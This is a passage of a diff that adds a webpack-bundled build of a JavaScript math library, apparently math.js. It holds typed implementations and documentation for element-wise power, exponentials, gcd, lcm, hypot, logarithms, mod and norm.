'DenseMatrix, any': function DenseMatrixAny(x, y) { + return algorithm14(x, y, multiplyScalar, false); + }, + 'any, SparseMatrix': function anySparseMatrix(x, y) { + return algorithm11(y, x, multiplyScalar, true); + }, + 'any, DenseMatrix': function anyDenseMatrix(x, y) { + return algorithm14(y, x, multiplyScalar, true); + }, + 'Array, any': function ArrayAny(x, y) { + // use matrix implementation + return algorithm14(matrix(x), y, multiplyScalar, false).valueOf(); + }, + 'any, Array': function anyArray(x, y) { + // use matrix implementation + return algorithm14(matrix(y), x, multiplyScalar, true).valueOf(); + } + }); + dotMultiply.toTex = { + 2: "\\left(${args[0]}".concat(latex.operators['dotMultiply'], "${args[1]}\\right)") + }; + return dotMultiply; +} + +exports.name = 'dotMultiply'; +exports.factory = factory; + +/***/ }), +/* 228 */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + + +function factory(type, config, load, typed) { + var matrix = load(__webpack_require__(0)); + var pow = load(__webpack_require__(42)); + + var latex = __webpack_require__(4); + + var algorithm03 = load(__webpack_require__(18)); + var algorithm07 = load(__webpack_require__(29)); + var algorithm11 = load(__webpack_require__(20)); + var algorithm12 = load(__webpack_require__(19)); + var algorithm13 = load(__webpack_require__(7)); + var algorithm14 = load(__webpack_require__(6)); + /** + * Calculates the power of x to y element wise. + * + * Syntax: + * + * math.dotPow(x, y) + * + * Examples: + * + * math.dotPow(2, 3) // returns number 8 + * + * const a = [[1, 2], [4, 3]] + * math.dotPow(a, 2) // returns Array [[1, 4], [16, 9]] + * math.pow(a, 2) // returns Array [[9, 8], [16, 17]] + * + * See also: + * + * pow, sqrt, multiply + * + * @param {number | BigNumber | Complex | Unit | Array | Matrix} x The base + * @param {number | BigNumber | Complex | Unit | Array | Matrix} y The exponent + * @return {number | BigNumber | Complex | Unit | Array | Matrix} The value of `x` to the power `y` + */ + + var dotPow = typed('dotPow', { + 'any, any': pow, + 'SparseMatrix, SparseMatrix': function SparseMatrixSparseMatrix(x, y) { + return algorithm07(x, y, pow, false); + }, + 'SparseMatrix, DenseMatrix': function SparseMatrixDenseMatrix(x, y) { + return algorithm03(y, x, pow, true); + }, + 'DenseMatrix, SparseMatrix': function DenseMatrixSparseMatrix(x, y) { + return algorithm03(x, y, pow, false); + }, + 'DenseMatrix, DenseMatrix': function DenseMatrixDenseMatrix(x, y) { + return algorithm13(x, y, pow); + }, + 'Array, Array': function ArrayArray(x, y) { + // use matrix implementation + return dotPow(matrix(x), matrix(y)).valueOf(); + }, + 'Array, Matrix': function ArrayMatrix(x, y) { + // use matrix implementation + return dotPow(matrix(x), y); + }, + 'Matrix, Array': function MatrixArray(x, y) { + // use matrix implementation + return dotPow(x, matrix(y)); + }, + 'SparseMatrix, any': function SparseMatrixAny(x, y) { + return algorithm11(x, y, dotPow, false); + }, + 'DenseMatrix, any': function DenseMatrixAny(x, y) { + return algorithm14(x, y, dotPow, false); + }, + 'any, SparseMatrix': function anySparseMatrix(x, y) { + return algorithm12(y, x, dotPow, true); + }, + 'any, DenseMatrix': function anyDenseMatrix(x, y) { + return algorithm14(y, x, dotPow, true); + }, + 'Array, any': function ArrayAny(x, y) { + // use matrix implementation + return algorithm14(matrix(x), y, dotPow, false).valueOf(); + }, + 'any, Array': function anyArray(x, y) { + // use matrix implementation + return algorithm14(matrix(y), x, dotPow, true).valueOf(); + } + }); + dotPow.toTex = { + 2: "\\left(${args[0]}".concat(latex.operators['dotPow'], "${args[1]}\\right)") + }; + return dotPow; +} + +exports.name = 'dotPow'; +exports.factory = factory; + +/***/ }), +/* 229 */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + + +var deepMap = __webpack_require__(1); + +function factory(type, config, load, typed) { + /** + * Calculate the exponent of a value. + * For matrices, the function is evaluated element wise. + * + * Syntax: + * + * math.exp(x) + * + * Examples: + * + * math.exp(2) // returns number 7.3890560989306495 + * math.pow(math.e, 2) // returns number 7.3890560989306495 + * math.log(math.exp(2)) // returns number 2 + * + * math.exp([1, 2, 3]) + * // returns Array [ + * // 2.718281828459045, + * // 7.3890560989306495, + * // 20.085536923187668 + * // ] + * + * See also: + * + * expm1, log, pow + * + * @param {number | BigNumber | Complex | Array | Matrix} x A number or matrix to exponentiate + * @return {number | BigNumber | Complex | Array | Matrix} Exponent of `x` + */ + var exp = typed('exp', { + 'number': Math.exp, + 'Complex': function Complex(x) { + return x.exp(); + }, + 'BigNumber': function BigNumber(x) { + return x.exp(); + }, + 'Array | Matrix': function ArrayMatrix(x) { + // TODO: exp(sparse) should return a dense matrix since exp(0)==1 + return deepMap(x, exp); + } + }); + exp.toTex = { + 1: "\\exp\\left(${args[0]}\\right)" + }; + return exp; +} + +exports.name = 'exp'; +exports.factory = factory; + +/***/ }), +/* 230 */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + + +var deepMap = __webpack_require__(1); + +function factory(type, config, load, typed) { + var latex = __webpack_require__(4); + /** + * Calculate the value of subtracting 1 from the exponential value. + * For matrices, the function is evaluated element wise. + * + * Syntax: + * + * math.expm1(x) + * + * Examples: + * + * math.expm1(2) // returns number 6.38905609893065 + * math.pow(math.e, 2) - 1 // returns number 6.3890560989306495 + * math.log(math.expm1(2) + 1) // returns number 2 + * + * math.expm1([1, 2, 3]) + * // returns Array [ + * // 1.718281828459045, + * // 6.3890560989306495, + * // 19.085536923187668 + * // ] + * + * See also: + * + * exp, log, pow + * + * @param {number | BigNumber | Complex | Array | Matrix} x A number or matrix to apply expm1 + * @return {number | BigNumber | Complex | Array | Matrix} Exponent of `x` + */ + + + var expm1 = typed('expm1', { + 'number': Math.expm1 || _expm1, + 'Complex': function Complex(x) { + var r = Math.exp(x.re); + return new type.Complex(r * Math.cos(x.im) - 1, r * Math.sin(x.im)); + }, + 'BigNumber': function BigNumber(x) { + return x.exp().minus(1); + }, + 'Array | Matrix': function ArrayMatrix(x) { + return deepMap(x, expm1); + } + }); + /** + * Calculates exponentiation minus 1. + * @param {number} x + * @return {number} res + * @private + */ + + function _expm1(x) { + return x >= 2e-4 || x <= -2e-4 ? Math.exp(x) - 1 : x + x * x / 2 + x * x * x / 6; + } + + expm1.toTex = "\\left(e".concat(latex.operators['pow'], "{${args[0]}}-1\\right)"); + return expm1; +} + +exports.name = 'expm1'; +exports.factory = factory; + +/***/ }), +/* 231 */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + + +var isInteger = __webpack_require__(3).isInteger; + +function factory(type, config, load, typed) { + var matrix = load(__webpack_require__(0)); + var algorithm01 = load(__webpack_require__(37)); + var algorithm04 = load(__webpack_require__(85)); + var algorithm10 = load(__webpack_require__(41)); + var algorithm13 = load(__webpack_require__(7)); + var algorithm14 = load(__webpack_require__(6)); + /** + * Calculate the greatest common divisor for two or more values or arrays. + * + * For matrices, the function is evaluated element wise. + * + * Syntax: + * + * math.gcd(a, b) + * math.gcd(a, b, c, ...) + * + * Examples: + * + * math.gcd(8, 12) // returns 4 + * math.gcd(-4, 6) // returns 2 + * math.gcd(25, 15, -10) // returns 5 + * + * math.gcd([8, -4], [12, 6]) // returns [4, 2] + * + * See also: + * + * lcm, xgcd + * + * @param {... number | BigNumber | Fraction | Array | Matrix} args Two or more integer numbers + * @return {number | BigNumber | Fraction | Array | Matrix} The greatest common divisor + */ + + var gcd = typed('gcd', { + 'number, number': _gcd, + 'BigNumber, BigNumber': _gcdBigNumber, + 'Fraction, Fraction': function FractionFraction(x, y) { + return x.gcd(y); + }, + 'SparseMatrix, SparseMatrix': function SparseMatrixSparseMatrix(x, y) { + return algorithm04(x, y, gcd); + }, + 'SparseMatrix, DenseMatrix': function SparseMatrixDenseMatrix(x, y) { + return algorithm01(y, x, gcd, true); + }, + 'DenseMatrix, SparseMatrix': function DenseMatrixSparseMatrix(x, y) { + return algorithm01(x, y, gcd, false); + }, + 'DenseMatrix, DenseMatrix': function DenseMatrixDenseMatrix(x, y) { + return algorithm13(x, y, gcd); + }, + 'Array, Array': function ArrayArray(x, y) { + // use matrix implementation + return gcd(matrix(x), matrix(y)).valueOf(); + }, + 'Array, Matrix': function ArrayMatrix(x, y) { + // use matrix implementation + return gcd(matrix(x), y); + }, + 'Matrix, Array': function MatrixArray(x, y) { + // use matrix implementation + return gcd(x, matrix(y)); + }, + 'SparseMatrix, number | BigNumber': function SparseMatrixNumberBigNumber(x, y) { + return algorithm10(x, y, gcd, false); + }, + 'DenseMatrix, number | BigNumber': function DenseMatrixNumberBigNumber(x, y) { + return algorithm14(x, y, gcd, false); + }, + 'number | BigNumber, SparseMatrix': function numberBigNumberSparseMatrix(x, y) { + return algorithm10(y, x, gcd, true); + }, + 'number | BigNumber, DenseMatrix': function numberBigNumberDenseMatrix(x, y) { + return algorithm14(y, x, gcd, true); + }, + 'Array, number | BigNumber': function ArrayNumberBigNumber(x, y) { + // use matrix implementation + return algorithm14(matrix(x), y, gcd, false).valueOf(); + }, + 'number | BigNumber, Array': function numberBigNumberArray(x, y) { + // use matrix implementation + return algorithm14(matrix(y), x, gcd, true).valueOf(); + }, + // TODO: need a smarter notation here + 'Array | Matrix | number | BigNumber, Array | Matrix | number | BigNumber, ...Array | Matrix | number | BigNumber': function ArrayMatrixNumberBigNumberArrayMatrixNumberBigNumberArrayMatrixNumberBigNumber(a, b, args) { + var res = gcd(a, b); + + for (var i = 0; i < args.length; i++) { + res = gcd(res, args[i]); + } + + return res; + } + }); + gcd.toTex = "\\gcd\\left(${args}\\right)"; + return gcd; + /** + * Calculate gcd for BigNumbers + * @param {BigNumber} a + * @param {BigNumber} b + * @returns {BigNumber} Returns greatest common denominator of a and b + * @private + */ + + function _gcdBigNumber(a, b) { + if (!a.isInt() || !b.isInt()) { + throw new Error('Parameters in function gcd must be integer numbers'); + } // https://en.wikipedia.org/wiki/Euclidean_algorithm + + + var zero = new type.BigNumber(0); + + while (!b.isZero()) { + var r = a.mod(b); + a = b; + b = r; + } + + return a.lt(zero) ? a.neg() : a; + } +} +/** + * Calculate gcd for numbers + * @param {number} a + * @param {number} b + * @returns {number} Returns the greatest common denominator of a and b + * @private + */ + + +function _gcd(a, b) { + if (!isInteger(a) || !isInteger(b)) { + throw new Error('Parameters in function gcd must be integer numbers'); + } // https://en.wikipedia.org/wiki/Euclidean_algorithm + + + var r; + + while (b !== 0) { + r = a % b; + a = b; + b = r; + } + + return a < 0 ? -a : a; +} + +exports.name = 'gcd'; +exports.factory = factory; + +/***/ }), +/* 232 */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + + +var flatten = __webpack_require__(2).flatten; + +function factory(type, config, load, typed) { + var abs = load(__webpack_require__(25)); + var add = load(__webpack_require__(17)); + var divide = load(__webpack_require__(12)); + var multiply = load(__webpack_require__(21)); + var sqrt = load(__webpack_require__(46)); + var smaller = load(__webpack_require__(38)); + var isPositive = load(__webpack_require__(73)); + /** + * Calculate the hypotenusa of a list with values. The hypotenusa is defined as: + * + * hypot(a, b, c, ...) = sqrt(a^2 + b^2 + c^2 + ...) + * + * For matrix input, the hypotenusa is calculated for all values in the matrix. + * + * Syntax: + * + * math.hypot(a, b, ...) + * math.hypot([a, b, c, ...]) + * + * Examples: + * + * math.hypot(3, 4) // 5 + * math.hypot(3, 4, 5) // 7.0710678118654755 + * math.hypot([3, 4, 5]) // 7.0710678118654755 + * math.hypot(-2) // 2 + * + * See also: + * + * abs, norm + * + * @param {... number | BigNumber | Array | Matrix} args A list with numeric values or an Array or Matrix. + * Matrix and Array input is flattened and returns a + * single number for the whole matrix. + * @return {number | BigNumber} Returns the hypothenusa of the input values. + */ + + var hypot = typed('hypot', { + '... number | BigNumber': _hypot, + 'Array': function Array(x) { + return hypot.apply(hypot, flatten(x)); + }, + 'Matrix': function Matrix(x) { + return hypot.apply(hypot, flatten(x.toArray())); + } + }); + /** + * Calculate the hypotenusa for an Array with values + * @param {Array.} args + * @return {number | BigNumber} Returns the result + * @private + */ + + function _hypot(args) { + // code based on `hypot` from es6-shim: + // https://github.com/paulmillr/es6-shim/blob/master/es6-shim.js#L1619-L1633 + var result = 0; + var largest = 0; + + for (var i = 0; i < args.length; i++) { + var value = abs(args[i]); + + if (smaller(largest, value)) { + result = multiply(result, multiply(divide(largest, value), divide(largest, value))); + result = add(result, 1); + largest = value; + } else { + result = add(result, isPositive(value) ? multiply(divide(value, largest), divide(value, largest)) : value); + } + } + + return multiply(largest, sqrt(result)); + } + + hypot.toTex = "\\hypot\\left(${args}\\right)"; + return hypot; +} + +exports.name = 'hypot'; +exports.factory = factory; + +/***/ }), +/* 233 */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + + +var isInteger = __webpack_require__(3).isInteger; + +function factory(type, config, load, typed) { + var matrix = load(__webpack_require__(0)); + var algorithm02 = load(__webpack_require__(27)); + var algorithm06 = load(__webpack_require__(74)); + var algorithm11 = load(__webpack_require__(20)); + var algorithm13 = load(__webpack_require__(7)); + var algorithm14 = load(__webpack_require__(6)); + /** + * Calculate the least common multiple for two or more values or arrays. + * + * lcm is defined as: + * + * lcm(a, b) = abs(a * b) / gcd(a, b) + * + * For matrices, the function is evaluated element wise. + * + * Syntax: + * + * math.lcm(a, b) + * math.lcm(a, b, c, ...) + * + * Examples: + * + * math.lcm(4, 6) // returns 12 + * math.lcm(6, 21) // returns 42 + * math.lcm(6, 21, 5) // returns 210 + * + * math.lcm([4, 6], [6, 21]) // returns [12, 42] + * + * See also: + * + * gcd, xgcd + * + * @param {... number | BigNumber | Array | Matrix} args Two or more integer numbers + * @return {number | BigNumber | Array | Matrix} The least common multiple + */ + + var lcm = typed('lcm', { + 'number, number': _lcm, + 'BigNumber, BigNumber': _lcmBigNumber, + 'Fraction, Fraction': function FractionFraction(x, y) { + return x.lcm(y); + }, + 'SparseMatrix, SparseMatrix': function SparseMatrixSparseMatrix(x, y) { + return algorithm06(x, y, lcm); + }, + 'SparseMatrix, DenseMatrix': function SparseMatrixDenseMatrix(x, y) { + return algorithm02(y, x, lcm, true); + }, + 'DenseMatrix, SparseMatrix': function DenseMatrixSparseMatrix(x, y) { + return algorithm02(x, y, lcm, false); + }, + 'DenseMatrix, DenseMatrix': function DenseMatrixDenseMatrix(x, y) { + return algorithm13(x, y, lcm); + }, + 'Array, Array': function ArrayArray(x, y) { + // use matrix implementation + return lcm(matrix(x), matrix(y)).valueOf(); + }, + 'Array, Matrix': function ArrayMatrix(x, y) { + // use matrix implementation + return lcm(matrix(x), y); + }, + 'Matrix, Array': function MatrixArray(x, y) { + // use matrix implementation + return lcm(x, matrix(y)); + }, + 'SparseMatrix, number | BigNumber': function SparseMatrixNumberBigNumber(x, y) { + return algorithm11(x, y, lcm, false); + }, + 'DenseMatrix, number | BigNumber': function DenseMatrixNumberBigNumber(x, y) { + return algorithm14(x, y, lcm, false); + }, + 'number | BigNumber, SparseMatrix': function numberBigNumberSparseMatrix(x, y) { + return algorithm11(y, x, lcm, true); + }, + 'number | BigNumber, DenseMatrix': function numberBigNumberDenseMatrix(x, y) { + return algorithm14(y, x, lcm, true); + }, + 'Array, number | BigNumber': function ArrayNumberBigNumber(x, y) { + // use matrix implementation + return algorithm14(matrix(x), y, lcm, false).valueOf(); + }, + 'number | BigNumber, Array': function numberBigNumberArray(x, y) { + // use matrix implementation + return algorithm14(matrix(y), x, lcm, true).valueOf(); + }, + // TODO: need a smarter notation here + 'Array | Matrix | number | BigNumber, Array | Matrix | number | BigNumber, ...Array | Matrix | number | BigNumber': function ArrayMatrixNumberBigNumberArrayMatrixNumberBigNumberArrayMatrixNumberBigNumber(a, b, args) { + var res = lcm(a, b); + + for (var i = 0; i < args.length; i++) { + res = lcm(res, args[i]); + } + + return res; + } + }); + lcm.toTex = undefined; // use default template + + return lcm; + /** + * Calculate lcm for two BigNumbers + * @param {BigNumber} a + * @param {BigNumber} b + * @returns {BigNumber} Returns the least common multiple of a and b + * @private + */ + + function _lcmBigNumber(a, b) { + if (!a.isInt() || !b.isInt()) { + throw new Error('Parameters in function lcm must be integer numbers'); + } + + if (a.isZero() || b.isZero()) { + return new type.BigNumber(0); + } // https://en.wikipedia.org/wiki/Euclidean_algorithm + // evaluate lcm here inline to reduce overhead + + + var prod = a.times(b); + + while (!b.isZero()) { + var t = b; + b = a.mod(t); + a = t; + } + + return prod.div(a).abs(); + } +} +/** + * Calculate lcm for two numbers + * @param {number} a + * @param {number} b + * @returns {number} Returns the least common multiple of a and b + * @private + */ + + +function _lcm(a, b) { + if (!isInteger(a) || !isInteger(b)) { + throw new Error('Parameters in function lcm must be integer numbers'); + } + + if (a === 0 || b === 0) { + return 0; + } // https://en.wikipedia.org/wiki/Euclidean_algorithm + // evaluate lcm here inline to reduce overhead + + + var t; + var prod = a * b; + + while (b !== 0) { + t = b; + b = a % t; + a = t; + } + + return Math.abs(prod / a); +} + +exports.name = 'lcm'; +exports.factory = factory; + +/***/ }), +/* 234 */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + + +module.exports = function scatter(a, j, w, x, u, mark, c, f, inverse, update, value) { + // a arrays + var avalues = a._values; + var aindex = a._index; + var aptr = a._ptr; // c arrays + + var cindex = c._index; // vars + + var k, k0, k1, i; // check we need to process values (pattern matrix) + + if (x) { + // values in j + for (k0 = aptr[j], k1 = aptr[j + 1], k = k0; k < k1; k++) { + // row + i = aindex[k]; // check value exists in current j + + if (w[i] !== mark) { + // i is new entry in j + w[i] = mark; // add i to pattern of C + + cindex.push(i); // x(i) = A, check we need to call function this time + + if (update) { + // copy value to workspace calling callback function + x[i] = inverse ? f(avalues[k], value) : f(value, avalues[k]); // function was called on current row + + u[i] = mark; + } else { + // copy value to workspace + x[i] = avalues[k]; + } + } else { + // i exists in C already + x[i] = inverse ? f(avalues[k], x[i]) : f(x[i], avalues[k]); // function was called on current row + + u[i] = mark; + } + } + } else { + // values in j + for (k0 = aptr[j], k1 = aptr[j + 1], k = k0; k < k1; k++) { + // row + i = aindex[k]; // check value exists in current j + + if (w[i] !== mark) { + // i is new entry in j + w[i] = mark; // add i to pattern of C + + cindex.push(i); + } else { + // indicate function was called on current row + u[i] = mark; + } + } + } +}; + +/***/ }), +/* 235 */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + + +var deepMap = __webpack_require__(1); + +function factory(type, config, load, typed) { + /** + * Calculate the 10-base logarithm of a value. This is the same as calculating `log(x, 10)`. + * + * For matrices, the function is evaluated element wise. + * + * Syntax: + * + * math.log10(x) + * + * Examples: + * + * math.log10(0.00001) // returns -5 + * math.log10(10000) // returns 4 + * math.log(10000) / math.log(10) // returns 4 + * math.pow(10, 4) // returns 10000 + * + * See also: + * + * exp, log, log1p, log2 + * + * @param {number | BigNumber | Complex | Array | Matrix} x + * Value for which to calculate the logarithm. + * @return {number | BigNumber | Complex | Array | Matrix} + * Returns the 10-base logarithm of `x` + */ + var log10 = typed('log10', { + 'number': function number(x) { + if (x >= 0 || config.predictable) { + return _log10(x); + } else { + // negative value -> complex value computation + return new type.Complex(x, 0).log().div(Math.LN10); + } + }, + 'Complex': function Complex(x) { + return new type.Complex(x).log().div(Math.LN10); + }, + 'BigNumber': function BigNumber(x) { + if (!x.isNegative() || config.predictable) { + return x.log(); + } else { + // downgrade to number, return Complex valued result + return new type.Complex(x.toNumber(), 0).log().div(Math.LN10); + } + }, + 'Array | Matrix': function ArrayMatrix(x) { + return deepMap(x, log10); + } + }); + log10.toTex = { + 1: "\\log_{10}\\left(${args[0]}\\right)" + }; + return log10; +} +/** + * Calculate the 10-base logarithm of a number + * @param {number} x + * @return {number} + * @private + */ + + +var _log10 = Math.log10 || function (x) { + return Math.log(x) / Math.LN10; +}; + +exports.name = 'log10'; +exports.factory = factory; + +/***/ }), +/* 236 */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + + +var deepMap = __webpack_require__(1); + +function factory(type, config, load, typed) { + var divideScalar = load(__webpack_require__(12)); + var log = load(__webpack_require__(91)); + /** + * Calculate the logarithm of a `value+1`. + * + * For matrices, the function is evaluated element wise. + * + * Syntax: + * + * math.log1p(x) + * math.log1p(x, base) + * + * Examples: + * + * math.log1p(2.5) // returns 1.252762968495368 + * math.exp(math.log1p(1.4)) // returns 2.4 + * + * math.pow(10, 4) // returns 10000 + * math.log1p(9999, 10) // returns 4 + * math.log1p(9999) / math.log(10) // returns 4 + * + * See also: + * + * exp, log, log2, log10 + * + * @param {number | BigNumber | Complex | Array | Matrix} x + * Value for which to calculate the logarithm of `x+1`. + * @param {number | BigNumber | Complex} [base=e] + * Optional base for the logarithm. If not provided, the natural + * logarithm of `x+1` is calculated. + * @return {number | BigNumber | Complex | Array | Matrix} + * Returns the logarithm of `x+1` + */ + + var log1p = typed('log1p', { + 'number': _log1pNumber, + 'Complex': _log1pComplex, + 'BigNumber': function BigNumber(x) { + var y = x.plus(1); + + if (!y.isNegative() || config.predictable) { + return y.ln(); + } else { + // downgrade to number, return Complex valued result + return _log1pComplex(new type.Complex(x.toNumber(), 0)); + } + }, + 'Array | Matrix': function ArrayMatrix(x) { + return deepMap(x, log1p); + }, + 'any, any': function anyAny(x, base) { + // calculate logarithm for a specified base, log1p(x, base) + return divideScalar(log1p(x), log(base)); + } + }); + /** + * Calculate the natural logarithm of a `number+1` + * @param {number} x + * @returns {number | Complex} + * @private + */ + + function _log1pNumber(x) { + if (x >= -1 || config.predictable) { + return Math.log1p ? Math.log1p(x) : Math.log(x + 1); + } else { + // negative value -> complex value computation + return _log1pComplex(new type.Complex(x, 0)); + } + } + /** + * Calculate the natural logarithm of a complex number + 1 + * @param {Complex} x + * @returns {Complex} + * @private + */ + + + function _log1pComplex(x) { + var xRe1p = x.re + 1; + return new type.Complex(Math.log(Math.sqrt(xRe1p * xRe1p + x.im * x.im)), Math.atan2(x.im, xRe1p)); + } + + log1p.toTex = { + 1: "\\ln\\left(${args[0]}+1\\right)", + 2: "\\log_{${args[1]}}\\left(${args[0]}+1\\right)" + }; + return log1p; +} + +exports.name = 'log1p'; +exports.factory = factory; + +/***/ }), +/* 237 */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + + +var deepMap = __webpack_require__(1); + +function factory(type, config, load, typed) { + /** + * Calculate the 2-base of a value. This is the same as calculating `log(x, 2)`. + * + * For matrices, the function is evaluated element wise. + * + * Syntax: + * + * math.log2(x) + * + * Examples: + * + * math.log2(0.03125) // returns -5 + * math.log2(16) // returns 4 + * math.log2(16) / math.log2(2) // returns 4 + * math.pow(2, 4) // returns 16 + * + * See also: + * + * exp, log, log1p, log10 + * + * @param {number | BigNumber | Complex | Array | Matrix} x + * Value for which to calculate the logarithm. + * @return {number | BigNumber | Complex | Array | Matrix} + * Returns the 2-base logarithm of `x` + */ + var log2 = typed('log2', { + 'number': function number(x) { + if (x >= 0 || config.predictable) { + return Math.log2 ? Math.log2(x) : Math.log(x) / Math.LN2; + } else { + // negative value -> complex value computation + return _log2Complex(new type.Complex(x, 0)); + } + }, + 'Complex': _log2Complex, + 'BigNumber': function BigNumber(x) { + if (!x.isNegative() || config.predictable) { + return x.log(2); + } else { + // downgrade to number, return Complex valued result + return _log2Complex(new type.Complex(x.toNumber(), 0)); + } + }, + 'Array | Matrix': function ArrayMatrix(x) { + return deepMap(x, log2); + } + }); + /** + * Calculate log2 for a complex value + * @param {Complex} x + * @returns {Complex} + * @private + */ + + function _log2Complex(x) { + var newX = Math.sqrt(x.re * x.re + x.im * x.im); + return new type.Complex(Math.log2 ? Math.log2(newX) : Math.log(newX) / Math.LN2, Math.atan2(x.im, x.re) / Math.LN2); + } + + log2.toTex = "\\log_{2}\\left(${args[0]}\\right)"; + return log2; +} + +exports.name = 'log2'; +exports.factory = factory; + +/***/ }), +/* 238 */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + + +function factory(type, config, load, typed) { + var matrix = load(__webpack_require__(0)); + + var latex = __webpack_require__(4); + + var algorithm02 = load(__webpack_require__(27)); + var algorithm03 = load(__webpack_require__(18)); + var algorithm05 = load(__webpack_require__(66)); + var algorithm11 = load(__webpack_require__(20)); + var algorithm12 = load(__webpack_require__(19)); + var algorithm13 = load(__webpack_require__(7)); + var algorithm14 = load(__webpack_require__(6)); + /** + * Calculates the modulus, the remainder of an integer division. + * + * For matrices, the function is evaluated element wise. + * + * The modulus is defined as: + * + * x - y * floor(x / y) + * + * See https://en.wikipedia.org/wiki/Modulo_operation. + * + * Syntax: + * + * math.mod(x, y) + * + * Examples: + * + * math.mod(8, 3) // returns 2 + * math.mod(11, 2) // returns 1 + * + * function isOdd(x) { + * return math.mod(x, 2) != 0 + * } + * + * isOdd(2) // returns false + * isOdd(3) // returns true + * + * See also: + * + * divide + * + * @param {number | BigNumber | Fraction | Array | Matrix} x Dividend + * @param {number | BigNumber | Fraction | Array | Matrix} y Divisor + * @return {number | BigNumber | Fraction | Array | Matrix} Returns the remainder of `x` divided by `y`. + */ + + var mod = typed('mod', { + 'number, number': _mod, + 'BigNumber, BigNumber': function BigNumberBigNumber(x, y) { + return y.isZero() ? x : x.mod(y); + }, + 'Fraction, Fraction': function FractionFraction(x, y) { + return x.mod(y); + }, + 'SparseMatrix, SparseMatrix': function SparseMatrixSparseMatrix(x, y) { + return algorithm05(x, y, mod, false); + }, + 'SparseMatrix, DenseMatrix': function SparseMatrixDenseMatrix(x, y) { + return algorithm02(y, x, mod, true); + }, + 'DenseMatrix, SparseMatrix': function DenseMatrixSparseMatrix(x, y) { + return algorithm03(x, y, mod, false); + }, + 'DenseMatrix, DenseMatrix': function DenseMatrixDenseMatrix(x, y) { + return algorithm13(x, y, mod); + }, + 'Array, Array': function ArrayArray(x, y) { + // use matrix implementation + return mod(matrix(x), matrix(y)).valueOf(); + }, + 'Array, Matrix': function ArrayMatrix(x, y) { + // use matrix implementation + return mod(matrix(x), y); + }, + 'Matrix, Array': function MatrixArray(x, y) { + // use matrix implementation + return mod(x, matrix(y)); + }, + 'SparseMatrix, any': function SparseMatrixAny(x, y) { + return algorithm11(x, y, mod, false); + }, + 'DenseMatrix, any': function DenseMatrixAny(x, y) { + return algorithm14(x, y, mod, false); + }, + 'any, SparseMatrix': function anySparseMatrix(x, y) { + return algorithm12(y, x, mod, true); + }, + 'any, DenseMatrix': function anyDenseMatrix(x, y) { + return algorithm14(y, x, mod, true); + }, + 'Array, any': function ArrayAny(x, y) { + // use matrix implementation + return algorithm14(matrix(x), y, mod, false).valueOf(); + }, + 'any, Array': function anyArray(x, y) { + // use matrix implementation + return algorithm14(matrix(y), x, mod, true).valueOf(); + } + }); + mod.toTex = { + 2: "\\left(${args[0]}".concat(latex.operators['mod'], "${args[1]}\\right)") + }; + return mod; + /** + * Calculate the modulus of two numbers + * @param {number} x + * @param {number} y + * @returns {number} res + * @private + */ + + function _mod(x, y) { + if (y > 0) { + // We don't use JavaScript's % operator here as this doesn't work + // correctly for x < 0 and x === 0 + // see https://en.wikipedia.org/wiki/Modulo_operation + return x - y * Math.floor(x / y); + } else if (y === 0) { + return x; + } else { + // y < 0 + // TODO: implement mod for a negative divisor + throw new Error('Cannot calculate mod for a negative divisor'); + } + } +} + +exports.name = 'mod'; +exports.factory = factory; + +/***/ }), +/* 239 */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + + +function factory(type, config, load, typed) { + var abs = load(__webpack_require__(25)); + var add = load(__webpack_require__(14)); + var pow = load(__webpack_require__(42)); + var conj = load(__webpack_require__(71)); + var sqrt = load(__webpack_require__(46)); + var multiply = load(__webpack_require__(10)); + var equalScalar = load(__webpack_require__(11)); + var larger = load(__webpack_require__(33)); + var smaller = load(__webpack_require__(38)); + var matrix = load(__webpack_require__(0)); + /** + * Calculate the norm of a number, vector or matrix. + * + * The second parameter p is optional. If not provided, it defaults to 2. + * + * Syntax: + * + * math.norm(x) + * math.norm(x, p) + * + * Examples: + * + * math.abs(-3.5) // returns 3.5 + * math.norm(-3.5) // returns 3.5 + * + * math.norm(math.complex(3, -4)) // returns 5 + * + * math.norm([1, 2, -3], Infinity) // returns 3 + * math.norm([1, 2, -3], -Infinity) // returns 1 + * + * math.norm([3, 4], 2) // returns 5 + * + * math.norm([[1, 2], [3, 4]], 1) // returns 6 + * math.norm([[1, 2], [3, 4]], 'inf') // returns 7 + * math.norm([[1, 2], [3, 4]], 'fro') // returns 5.477225575051661 + * + * See also: + * + * abs, hypot + * + * @param {number | BigNumber | Complex | Array | Matrix} x + * Value for which to calculate the norm + * @param {number | BigNumber | string} [p=2] + * Vector space. + * Supported numbers include Infinity and -Infinity. + * Supported strings are: 'inf', '-inf', and 'fro' (The Frobenius norm) + * @return {number | BigNumber} the p-norm + */ + + var norm = typed('norm', { + 'number': Math.abs, + 'Complex': function Complex(x) { + return x.abs(); + }, + 'BigNumber': function BigNumber(x) { + // norm(x) = abs(x) + return x.abs(); + }, + 'boolean': function boolean(x) { + // norm(x) = abs(x) + return Math.abs(x); + }, + 'Array': function Array(x) { + return _norm(matrix(x), 2); + }, + 'Matrix': function Matrix(x) { + return _norm(x, 2); + }, + 'number | Complex | BigNumber | boolean, number | BigNumber | string': function numberComplexBigNumberBooleanNumberBigNumberString(x) { + // ignore second parameter, TODO: remove the option of second parameter for these types + return norm(x); + }, + 'Array, number | BigNumber | string': function ArrayNumberBigNumberString(x, p) { + return _norm(matrix(x), p); + }, + 'Matrix, number | BigNumber | string': function MatrixNumberBigNumberString(x, p) { + return _norm(x, p); + } + }); + /** + * Calculate the norm for an array + * @param {Matrix} x + * @param {number | string} p + * @returns {number} Returns the norm + * @private + */ + + function _norm(x, p) { + // size + var sizeX = x.size(); // check if it is a vector + + if (sizeX.length === 1) { + // check p + if (p === Number.POSITIVE_INFINITY || p === 'inf') { + // norm(x, Infinity) = max(abs(x)) + var pinf = 0; // skip zeros since abs(0) === 0 + + x.forEach(function (value) { + var v = abs(value); + + if 